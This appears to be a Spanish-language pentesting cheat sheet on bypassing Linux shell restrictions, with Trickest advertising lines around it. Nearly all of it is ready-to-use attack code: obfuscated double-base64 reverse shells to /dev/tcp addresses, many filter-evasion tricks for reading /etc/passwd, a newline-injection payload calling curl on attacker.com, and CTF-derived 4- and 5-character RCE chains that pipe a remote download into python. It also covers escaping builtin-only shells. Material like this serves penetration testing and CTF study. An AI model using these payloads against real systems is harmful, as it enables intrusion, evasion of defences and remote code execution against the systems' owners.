Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:
Saltos Comunes de Limitaciones
Shell Inverso
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the timeecho "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
Conexión inversa corta
#Trick from Dikline#Get a rev shell with(sh)0>/dev/tcp/10.10.10.10/443#Then get the out of the rev shell executing inside of it:exec>&0
Saltar rutas y palabras prohibidas
# Question mark binary substitution/usr/bin/p?ng# /usr/bin/pingnma?-p80localhost# /usr/bin/nmap -p 80 localhost# Wildcard(*) binary substitution/usr/bin/who*mi# /usr/bin/whoami# Wildcard + local directory argumentstouch---la# -- stops processing options after the --ls*echo*#List current files and folders with echo and wildcard# [chars]/usr/bin/n[c]# /usr/bin/nc# Quotes'p'i'n'g# ping"w"h"o"a"m"i# whoamiech''otest# echo testech""otest# echo testbas''e64# base64#Backslashes\u\n\a\m\e \-\a # uname -a/\b\i\n/////s\h# $@who$@ami#whoami# Transformations (case, reverse, base64)$(tr"[A-Z]""[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case$(a="WhOaMi";printf%s"${a,,}") #whoami -> transformation (only bash)$(rev<<<'imaohw') #whoamibash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64# Execution through $0echowhoami|$0# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u/etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g# Equals to ping, use {} to put the uninitialized variables between valid characters# New linesp\i\n\g # These 4 lines will equal to ping# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i# Equals to whoami but 5 errors trying to execute "u" are shown# Concatenation of strings using history!-1# This will be substitute by the last command executed, and !-2 by the penultimate commandmi# This will throw an errorwhoa# This will throw an error!-1!-2# This will execute whoami
Saltar espacios prohibidos
# {form}{cat,lol.txt}# cat lol.txt{echo,test}# echo test# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd# cat /etc/passwdcat$IFS/etc/passwd# cat /etc/passwd# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd`# Using cat twice# Other way, just change each space for ${IFS}echo${IFS}test# Using hex formatX=$'cat\x20/etc/passwd'&&$X# Using tabsecho"ls\x09-l"|bash# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1\-a# This equals to uname -a
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un conjunto limitado de internos para obtener RCE, hay algunos trucos útiles para hacerlo. Por lo general, no podrás usar todos los internos, por lo que debes conocer todas tus opciones para intentar evadir la cárcel. Idea de devploit.
En primer lugar, verifica todos los internos de shell. Luego aquí tienes algunas recomendaciones:
# Get list of builtinsdeclare builtins# In these cases PATH won't be set, so you can try to set itPATH="/bin"/bin/lsexport PATH="/bin"declare PATH="/bin"SHELL=/bin/bash# Hex$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")# Inputreadaaa; exec $aaa #Read more commands to execute and execute themreadaaa; eval $aaa# Get "/" char using printf and env varsprintf%.1s"$PWD"## Execute /bin/ls$(printf%.1s"$PWD")bin$(printf%.1s"$PWD")ls## To get several letters you can use a combination of printf anddeclaredeclare functionsdeclare historywords# Read flag in current dirsourcef*flag.txt:1:commandnotfound:CTF{asdasdasd}# Read file with readwhileread-rline; doecho $line; done< /etc/passwd# Get env variablesdeclare# Get historyhistorydeclare historydeclare historywords# Disable special builtins chars so you can abuse them as scripts[ #[: ']' expected## Disable "[" as builtin and enable it as scriptenable -n [echo -e'#!/bin/bash\necho "hello!"'> /tmp/[chmod +x [export PATH=/tmp:$PATHif [ "a" ]; then echo 1; fi# Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters1%0a`curlhttp://attacker.com`
Bashfuscator
# From https://github.com/Bashfuscator/Bashfuscator./bashfuscator-c'cat /etc/passwd'
RCE con 5 caracteres
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration datehttp://host/?cmd=>ls\http://host/?cmd=ls>_http://host/?cmd=>\ \http://host/?cmd=>-t\http://host/?cmd=>\>ghttp://host/?cmd=ls>>_## Step2: generate `curl orange.tw|python` to file "g"## by creating the necesary filenames and writting that content to file "g" executing the previous generated filehttp://host/?cmd=>onhttp://host/?cmd=>th\http://host/?cmd=>py\http://host/?cmd=>\|\http://host/?cmd=>tw\http://host/?cmd=>e.\http://host/?cmd=>ng\http://host/?cmd=>ra\http://host/?cmd=>o\http://host/?cmd=>\ \http://host/?cmd=>rl\http://host/?cmd=>cu\http://host/?cmd=sh _# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"http://host/?cmd=shg# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/## Execute tar command over a folderhttp://52.199.204.34/?cmd=>tarhttp://52.199.204.34/?cmd=>zcfhttp://52.199.204.34/?cmd=>zzzhttp://52.199.204.34/?cmd=*%20/h*# Another curiosity if you can read files of the current folderln/f*## If there is a file /flag.txt that will create a hard link## to it in the current folder
RCE con 4 caracteres
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands# it will follow the same principle of creating the command `ls -t>g` in a file# and then generate the full command in filenames# generate "g> ht- sl" to file "v"'>dir''>sl''>g\>''>ht-''*>v'# reverse file "v" to file "x", content "ls -th >g"'>rev''*v>x'# generate "curl orange.tw|python;"'>\;\\''>on\\''>th\\''>py\\''>\|\\''>tw\\''>e.\\''>ng\\''>ra\\''>o\\''>\ \\''>rl\\''>cu\\'# got shell'sh x''sh g'
Bypass de Restricciones de Solo Lectura/Noexec/Distroless
Si te encuentras dentro de un sistema de archivos con las protecciones de solo lectura y noexec o incluso en un contenedor distroless, aún hay formas de ejecutar binarios arbitrarios, ¡incluso un shell!:
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy: